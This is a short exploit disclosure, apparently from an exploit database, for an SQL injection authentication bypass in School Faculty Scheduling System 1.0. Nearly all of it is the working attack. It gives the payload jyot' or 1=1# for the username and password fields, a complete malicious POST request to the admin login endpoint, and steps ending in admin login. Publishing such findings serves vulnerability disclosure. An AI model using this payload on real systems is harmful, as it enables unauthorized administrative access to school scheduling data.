School Faculty Scheduling System 1.0 SQL Injection

`# Exploit Title: School Faculty Scheduling System 1.0 - Authentication Bypass  
# Date: 21/10/2020  
# Exploit Author: Jyotsna Adhana  
# Vendor Homepage: https://www.sourcecodester.com/php/14535/school-faculty-scheduling-system-using-phpmysqli-source-code.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=14535&title=School+Faculty+Scheduling+System+using+PHP%2FMySQLi+with+Source+Code  
# Version: 1.0  
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4  
  
Step 1: Open the URL http://localhost/schoolFSS/scheduling/admin  
  
Step 2: use payload jyot' or 1=1# in user and password field  
  
Malicious Request  
  
POST /schoolFSS/scheduling/admin/ajax.php?action=login HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 55  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/schoolFSS/scheduling/admin/login.php  
Cookie: PHPSESSID=7lojvad06l803amt3f7hp7o8re  
  
username=jyot'+or+1%3D1+%23&password=jyot'+or+1%3D1+%23  
  
Step 3: You will be logged in as admin.  
`